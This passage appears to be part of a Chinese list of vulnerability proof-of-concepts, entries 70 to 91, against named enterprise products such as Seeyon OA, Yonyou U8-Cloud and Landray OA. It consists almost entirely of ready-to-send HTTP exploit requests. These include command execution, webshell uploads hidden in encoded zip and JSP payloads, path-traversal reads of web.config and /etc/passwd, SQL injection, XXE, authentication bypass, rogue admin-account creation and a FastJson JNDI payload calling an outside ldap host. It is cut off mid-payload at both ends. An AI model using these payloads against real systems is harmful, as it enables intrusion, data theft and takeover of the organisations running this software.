AAAAESu4ADKwTbgAArYANCu2ADWwAAEAAAAEAAUAMwABAJoAAAAOAAMAAABfAAUAYAAGA
GEAmwAAAAQAAQAzAJ4AAAACAJ8AAQCgAKEAAQCZAAAA/wAEAAQAAACbK8YADBI2K7YAN5kA
BhI4sCu2ADlMKxI6tgA7mQA7Kiu3ADwSPbYAPk0svgWfAAYSP7AqLAMytQBAKiwEMrgAQbgAJ7UA
QrsAQ1kqtwBETi22AEUSRrArEke2ADuZACIqK7cAPBI9tgA+TSy+BZ8ABhJIsCosAzIsBDK2AEmwKxJKt
gA7mQANKiortwA8tgBLsCoqK7cAPLYAS7AAAAABAJoAAABSABQAAABrAA0AbAAQAG4AFQBvAB4
AcQApAHIALwBzADIAdQA5AHYARgB3AE8AeABTAHkAVgB6AF8AewBqAHwAcAB9AHMAfwB+AIAA
hwCBAJEAgwABAKIAowABAJkAAAB2AAMABQAAADa7AExZK7cATU67AE5ZLbcATzoEGQQsuABQtg
BRGQS2AFIZBLYAU6cACzoEGQS2AFSwLbYAVbAAAQAJACYAKQAvAAEAmgAAACYACQAAAI4ACQCQ
ABMAkQAcAJIAIQCTACYAlgApAJQAKwCVADEAlwACAKQAoQABAJkAAAAvAAMAAgAAABcrEjoSNrY
AVhJKEja2AFYSRxI2tgBWsAAAAAEAmgAAAAYAAQAAAKAAAQClAKEAAQCZAAABwwAEAAkAAAEn
Ele4AFi2AFlNK7YAOUwBTiwSWrYADJkAQCsSW7YADJkAICsSXLYADJoAF7sAXVm3AF4rtgBfEmC2AF
+2AGFMBr0AIVkDEiJTWQQSYlNZBStTOgSnAD0rElu2AAyZACArEly2AAyaABe7AF1ZtwBeK7YAXxJjtg
BftgBhTAa9ACFZAxJkU1kEEmVTWQUrUzoEuABmGQS2AGdOuwBoWS22AGm3AGoSa7YAbDoFGQ
W2AG2ZAAsZBbYAbqcABRI2Oga7AGhZLbYAb7cAahJrtgBsOgW7AF1ZtwBeGQa2AF8ZBbYAbZkACx
kFtgBupwAFEja2AF+2AGE6BhkGOgctxgAHLbYAcBkHsDoFGQW2AFQ6Bi3GAActtgBwGQawOggtxg
AHLbYAcBkIvwAEAJAA+wEGAC8AkAD7ARoAAAEGAQ8BGgAAARoBHAEaAAAAAQCaAAAAagAaAA
AAqQAJAKoADgCrABAArQAZAK4AKwCvAD8AsQBWALMAaAC0AHwAtgCQALkAmQC6AKsAuwC/AL
wA0QC9APcAvgD7AMIA/wDDAQMAvgEGAL8BCADAAQ8AwgETAMMBFwDAARoAwgEgAMMAAQ
CmAKcAAQCZAAABcgAEAAwAAADiEle4AFi2AFkSWrYADJoACRJxTqcABhJyTrgAZi22AHM6BLsAdFkr
HLcAdToFGQS2AGk6BhkEtgBvOgcZBbYAdjoIGQS2AHc6CRkFtgB4OgoZBbYAeZoAYBkGtgB6ngAQG
QoZBrYAe7YAfKf/7hkHtgB6ngAQGQoZB7YAe7YAfKf/7hkItgB6ngAQGQkZCLYAe7YAfKf/7hkKtgB9G
Qm2AH0UAH64AIAZBLYAgVenAAg6C6f/nhkEtgBwGQW2AIKnACBOuwBdWbcAXhKDtgBfLbYAhLYA
XxKFtgBftgBhsBKGsAACAKcArQCwAC8AAAC/AMIALwABAJoAAABuABsAAADRABAA0gAWANQAG
QDWACIA1wAtANgAQgDZAFAA2gBYANsAYADcAG0A3gB1AN8AggDhAIoA4gCXAOQAnADlAKEA5g
CnAOgArQDpALAA6gCyAOsAtQDtALoA7gC/APEAwgDvAMMA8ADfAPIAAQCoAJgAAQCZAAAALQA
DAAEAAAARKiq0AEAqtABCtgCHtgCIV7EAAAABAJoAAAAKAAIAAAD3ABAA+AAJAKkAqgABAJkAAA
EcAAYABAAAAKwBTBKJuAAyTSwSigS9ABxZAxIhU7YAHSy2ACoEvQAeWQMqU7YAH8AALMAALEyn
AARNK8cAQxKLuAAyEowDvQActgAdAQO9AB62AB9NLLYABBKNBL0AHFkDEiFTtgAdLAS9AB5ZAyp
TtgAfwAAswAAsTKcABE0rxwA0Eo64ADJNLBKNBL0AHFkDEiFTtgAdTi0stgAqBL0AHlkDKlO2AB/AAC
zAACxMpwAETSuwAAMAAgAtADAALwA1AHEAdAAvAHkApgCpAC8AAQCaAAAARgARAAABAAAC
AQIACAEDAC0BBgAwAQQAMQEHADUBCQBMAQoAcQENAHQBCwB1AQ8AeQERAH8BEgCPARMA
pgEWAKkBFACqARgAAQCrAAAAAgCsdAALZGVmaW5lQ2xhc3N1cQB+ABoAAAACdnIAEGphdmEub
GFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAoc3EAfgATdXEAfgAYAAAAAXVxAH4AGgAAAABxA
H4AHHVxAH4AGgAAAAFxAH4AHnNxAH4AE3VxAH4AGAAAAAF1cQB+ABgAAAAAcQB+ACJ1cQB+A
BoAAAABcQB+ACRzcQB+AA9zcQB+AAB3DAAAABA/QAAAAAAAAHhzcgARamF2YS51dGlsLkhhc2h
NYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQ
AAAAAHh4eA==")}}

70.金万维-云联应用系统接入平台 GNRemote.dll 前台命令执行漏洞

```
GET
/GNRemote.dll?GNFunction=CallPython&pyFile=os&pyFunc=system&pyArgu=ping+example.com
HTTP/1.1
Host: {{Hostname}}
```

71.邦永 PM2 工程项目管理系统 ExcelIn.aspx 存在任意文件上传漏洞

```
POST /FlowChartDefine/ExcelIn.aspx HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWcmvmHP5OqqEfttc
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: ASP.NET_SessionId=gdu1y0pnln1ein4watzw34ih
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Upgrade-Insecure-Requests: 1

------WebKitFormBoundaryWcmvmHP5OqqEfttc
Content-Disposition: form-data; name="__VIEWSTATE"

clcBbQ1oavnUc+3b59mSsq38Gn1RDyEMw28TulVRKZm1Awl3QDUvrnMwZpOMmz/eBxYJ+BlWK+
d7+6Y0rmUO/4Blrm7jhqNrZZbPAOclixuyi3zWJXsCL8hlV95vImlh0fyueNCrAA7qlMxiMlJDBg==
------WebKitFormBoundaryWcmvmHP5OqqEfttc
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

FD259C0F
------WebKitFormBoundaryWcmvmHP5OqqEfttc
Content-Disposition: form-data; name="__EVENTVALIDATION"

7OdLMz5f1KsKgX6vtUTFxeNHqsoucnH8BxkmCOqZGeTDezho2hroAvIXvtOqPYAMNF5ysccftt05r/9
vqoaJKhrioneXTGa97YX+XwPeU2RtQzIni5HB7jGsJCncM5l1
------WebKitFormBoundaryWcmvmHP5OqqEfttc
Content-Disposition: form-data; name="FileUpload1"; filename="gsl_cs.zip"
Content-Type: application/zip
```

```
{{base64_decode("UEsDBBQACQAIADJw+1gAAAAAAAAAAIUFAAAIACkAZ3NsLmFzcHhVVAkABUC
NpGZdjaRmdXgLAAEEAAAAAAQAAAAAeGwJAAcUAwAAAACkgVeF4oTu5bCNGoNJtecAsqt3noYhn
G7Dwu9thK7vkASMElkI5dTfe374aKmsilcS4FxEQbggQuVqGFemftu17BuJUpUtjSrToVj9h9lfEDEacz
Hom1WYMTS2ZXzf4dOpTZRzioEHlKUwhvq+MRXLs2YIo7WJfzWC/9RHM281BPxJK7QeT9XET9woZ
h5zoBsb9BbZHoozcRH1SIVIR7xtdwNHhwpmw+ff9iP9UVf+9DfD6ypqtoDXLi3/1ZER+ZthoafKL7nPX
XMnZu0lj+5qLD7L9K9H7ebb18JYczKxAGRZw7PRDG67wrXJCYRDaSc6XIuQGCZ2Zd561PlcGr88Vbw
t7fTzFpfD0+mL0A9TI28dO1i+LXsoWdrinuy+qSdCNwVwXAzJtg342FFyfnb0blL9SL28JW2EsIvOaqHA
XvXal8RvR7dRCsOGS/zj8Jn4I3UmZ+adNFsFJKh/yM22PQ7i8kVVXNqHeJ99DC61Gktl61HlJ1v4qw6D
ZK2RWFERAyob7ENVTWpH96/jcIPk4MQtHnew8z3jdEkUqlE18CdDY1OK4JxCezJog+PH4j6eBizmG
Wuw2BM4AZyx4rV6f+JqqTNEW83njshHaGwTTLXQ6Z58Yx7LrU+9kUd8eLGo9AM7w8K1DQzyNY6
4ChmdL9gmaVxwj1iIdemAB5pJxu/Dr6r0lsI4BV00YzF4joYKYC2P7lNb/vUcg4nCR9vueHk64isXpOm
MoI4SquehomDLJNyEdDwzJdxkX5IsUuJ+Zk/JD3ooC+GEuOSXIBG0kAnz+iHJUEsHCJh7111UAgAAh
QUAAFBLAQIUAxQACQAIADJw+1iYe9ddVAIAAIUFAAAIABwAAAAAAAAAACkgQAAAABnc2wuYXN
weFVUCQAFQI2kZl2NpGZ1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBSAAAAswIAAAAA")}
}
------WebKitFormBoundaryWcmvmHP5OqqEfttc
Content-Disposition: form-data; name="Button1"

模块导入
------WebKitFormBoundaryWcmvmHP5OqqEfttc--
```

72.迈普-多业务融合网关信息泄露漏洞

```
GET /.htpasswd/ HTTP/1.1
Host: {{Hostname}}
```

73.致远 OA ucpcLogin 接口身份鉴权绕过漏洞

```
PUT /seeyon/rest/orgMember/-4401606663639775639/password/share.do HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101
Firefox/123.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL=
```

74.拓尔思 TRS 媒资管理系统 uploadThumb 存在文件上传漏洞

```
POST /mas/servlets/uploadThumb?appKey=sv&uploadingId=asd HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySl8siBbmVicABvTX
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36

------WebKitFormBoundarySl8siBbmVicABvTX
Content-Disposition: form-data; name="file";
filename="%2e%2e%2fwebapps%2fmas%2fa%2etxt"
Content-Type: application/octet-stream

xxx
------WebKitFormBoundarySl8siBbmVicABvTX--
```

75.天问物业 ERP 系统 OwnerVacantDownLoad 存在任意文件读取漏洞

```
GET
/HM/M_main/InformationManage/OwnerVacantDownLoad.aspx?OwnerVacantFile=../web.confi
g HTTP/1.1
Host:
```

76.方天云智慧平台系统 /AjaxMethods.asmx/GetCompanyItem SQL 注入漏洞

```
POST /AjaxMethods.asmx/GetCompanyItem HTTP/1.1
Host:
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Content-Type: application/json
```

```
{cusNumber:"1';WAITFOR DELAY '0:0:5'--"}User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

77.深澜计费管理系统存在任意文件下载漏洞

```
GET /user/group/down-load?file=/srun3/www/srun4-auth/common/config/main-local.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Length: 2
```

78.润乾报表 dataSphereServlet 接口 任意文件读取漏洞

```
POST /servlet/dataSphereServlet?action=11 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

path=../../../WEB-INF/raqsoftConfig.xml&content=&mode=
```

79.华测监测预警系统接口 UserEdit.aspx 存在 SQL 注入

```
GET /Web/SysManage/UserEdit.aspx?&ID=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
```

80.美特 CRM 系统接口 anotherValue 存在 FastJson 反序列化 RCE

```
POST /eai/someValue/anotherValue HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
```

```
content-type: application/json

{""b"":{""\u0040\u0074\u0079\u0070\u0065"":""\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"",""\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065"":""ldap://rq4fld.dnslog.cn"",""autoCommit"":true}}
```

81.JieLink+智能终端操作平台存在 sql 注入漏洞

```
POST /mobile/Remote/GetParkController HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Type: application/x-www-form-urlencoded

deviceId=1'and/**/extractvalue(1,concat(char(126),user()))and'
```

82.金斗云-HKMP 智慧商业软件任意用户添加漏洞

```
POST /admin/user/add HTTP/1.1
Content-Type: application/json
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

{""appId"":""hkmp"",""mchId"":""hkmp"",""deviceId"":""hkmp"",""timestamp"":1719305067,""nonce"":2287791269,""sign"":""hkmp"",""data"":{""userCode"":""te123"",""userName"":""te1"",""password"":""123456"",""privilege"":[""1000"",""8000"",""8010"",""2000"",""2001"",""2010"",""7000""],""adminUserCode"":""admin"",""adminUserName"":""系统管理员""}}
```

83.时空智友 ERP 系统 updater.uploadStudioFile 接口处存在各种文件上传漏洞

```
POST /formservice?service=updater.uploadStudioFile    HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
```

```
content=<?xml%20version=""1.0""?><root><filename>ceshi.jsp</filename><filepath>./</filepath
><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f
%75%74%2e%70%72%69%6e%74%6c%6e%28%22%48%65%6c%6c%6f%20%57%6f%72%6c%64
%21%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70
%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72
%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%2
9%29%29%2e%64%65%6c%65%74%65%28%29%3b%20%25%3e-->
```

84.用友 U8-Cloud-smartweb2.showRPCLoadingTip.d 存在 XXE 漏洞

```
POST /hrss/dorado/smartweb2.showRPCLoadingTip.d?skin=default&__rpc=true&windows=1
HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like
Gecko) Version/12.0 Safari/1200.1.25
Content-Type: application/x-www-form-urlencoded


__type=updateData&__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswo
rdViewModel&__xml=%3C%21DOCTYPE+z+%5B%3C%21ENTITY+test++SYSTEM+%22file%3A%2F
%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%5D%3E%3Crpc+transaction%3D%221%22+meth
od%3D%22resetPwd%22%3E%3Cdef%3E%3Cdataset+type%3D%22Custom%22+id%3D%22dsRes
etPwd%22%3E%3Cf+name%3D%22user%22%3E%3C%2Ff%3E%3C%2Fdataset%3E%3C%2Fdef%3
E%3Cdata%3E%3Crs+dataset%3D%22dsResetPwd%22%3E%3Cr+id%3D%221%22+state%3D%22i
nsert%22%3E%3Cn%3E%3Cv%3E1%3C%2Fv%3E%3C%2Fn%3E%3C%2Fr%3E%3C%2Frs%3E%3C%
2Fdata%3E%3Cvps%3E%3Cp+name%3D%22__profileKeys%22%3E%26test%3B%3C%2Fp%3E%3C
%2Fvps%3E%3C%2Frpc%3E
```

85.致远互联 FE 协作办公平台 codeMoreWidget.js 存在 sql 注入漏洞

```
POST /common/codeMoreWidget.js%70 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36

code=-1';waitfor delay '0:0:10'--
```

86.JeecgBoot 反射型 XSS 漏洞

```
GET /userController.do?%3CsCrIpT%3Ealert(document.domain)%3C/sCrIpT%3E HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101
Firefox/126.0
```

87.无线监测系统 SystemManager.asmx 存在 SQL 注入

```
POST /DataSrvs/SystemManager.asmx/UpdateWUT HTTP/1.1
Host:    {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 258

id=%28SELECT+CHAR%28113%29%2BCHAR%28120%29%2BCHAR%28118%29%2BCHAR%28113
%29%2BCHAR%28113%29%2B%28CASE+WHEN+%281675%3D1675%29+THEN+@@version+ELS
E+CHAR%2848%29+END%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28118%29%
2BCHAR%28118%29%2BCHAR%28113%29%29&name=&desc=
```

88.会捷通云视讯平台 fileDownload 任意文件读取漏洞

```
POST /fileDownload?action=downloadBackupFile HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36

fullPath=%2Fetc%2Fpasswd
```

89.致远 OA-A8 接口 officeservlet 存在任意文件读取漏洞

```
POST /seeyon/officeservlet HTTP/1.1
```

```
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

DBSTEP V3.0        285                0                  0
RECORDID=wLoi
CREATEDATE=wLehP4whzUoiw=66
originalFileId=wLoi
needReadFile=yRWZdAS6
originalCreateDate=wLehP4whzUoiw=66
OPTION=LKDxOWOWLlxwVlOW
TEMPLATE=qf85qf85qfDfeazQqAzvcRevy1W3eazvNaMUySz3d7TsdRDsyaM3nYli
COMMAND=BSTLOlMSOCQwOV66
affairMemberId=wLoi
affairMemberName=wLoi
```

90.易天智能 eHR 管理平台任意用户添加漏洞

```
GET /BaseManage/UserAPI/CreateUser?Account=test123&Password=test123&OuterID=666
HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/122.0.0.0 Safari/537.36
```

91.蓝凌 OA 文件 Copy 导致远程代码执行漏洞

```
POST /resource/help/km/review/dataxml.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Cmd: id

s_bean=ruleFormulaValidate&script=\u0020\u0020\u0020\u0020\u0062\u006f\u006f\u006c\u0
065\u0061\u006e\u0020\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0066\u0061\u006
c\u0073\u0065\u003b\u0054\u0068\u0072\u0065\u0061\u0064\u0047\u0072\u006f\u0075\u
0070\u0020\u0067\u0072\u006f\u0075\u0070\u0020\u003d\u0020\u0054\u0068\u0072\u006
5\u0061\u0064\u002e\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0054\u0068\u0072\
```

u0065\u0061\u0064\u0028\u0029\u002e\u0067\u0065\u0074\u0054\u0068\u0072\u0065\u0
061\u0064\u0047\u0072\u006f\u0075\u0070\u0028\u0029\u003b\u006a\u0061\u0076\u0061
\u002e\u006c\u0061\u006e\u0067\u002e\u0072\u0065\u0066\u006c\u0065\u0063\u0074\u0
02e\u0046\u0069\u0065\u006c\u0064\u0020\u0066\u0020\u003d\u0020\u0067\u0072\u006f
\u0075\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0
02e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069
\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0022\u
0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u00
69\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u0054\u0068\u0072\
u0065\u0061\u0064\u005b\u005d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0
020\u003d\u0020\u0028\u0054\u0068\u0072\u0065\u0061\u0064\u005b\u005d\u0029\u002
0\u0066\u002e\u0067\u0065\u0074\u0028\u0067\u0072\u006f\u0075\u0070\u0029\u003b\u
0066\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u0069\u0020\u003d\u0020\u003
0\u003b\u0020\u0069\u0020\u003c\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\
u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0020\u0069\u002b\u002b\u0029\u0
020\u007b\u0020\u0074\u0072\u0079\u0020\u007b\u0020\u0054\u0068\u0072\u0065\u006
1\u0064\u0020\u0074\u0020\u003d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\
u005b\u0069\u005d\u003b\u0069\u0066\u0020\u0028\u0074\u0020\u003d\u003d\u0020\u0
06e\u0075\u006c\u006c\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e
\u0075\u0065\u003b\u0020\u007d\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u
0074\u0072\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u00
65\u0028\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u002e\u0063\u006f\
u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0065\u0078\u0065\u0063\u0022\u0
029\u0020\u007c\u007c\u0020\u0021\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u0074
\u0061\u0069\u006e\u0073\u0028\u0022\u0068\u0074\u0074\u0070\u0022\u0029\u0029\u
0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007
d\u0066\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\
u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0
065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0061\u0072\u0067\u0065
5\u0074\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\
u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u0
04f\u0062\u006a\u0065\u0063\u0074\u0020\u006f\u0062\u006a\u0020\u003d\u0020\u0066
\u002e\u0067\u0065\u0074\u0028\u0074\u0029\u003b\u0069\u0066\u0020\u0028\u0021\u
0028\u006f\u0062\u006a\u0020\u0069\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u006
f\u0066\u0020\u0052\u0075\u006e\u006e\u0061\u0062\u006c\u0065\u0029\u0029\u0020\u
007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u00
66\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\
u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0
072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0069\u0073
3\u0024\u0030\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\
u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u0
03b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f
\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u
0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u002

8\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0020\u003d\u0020\u0028\u006a\u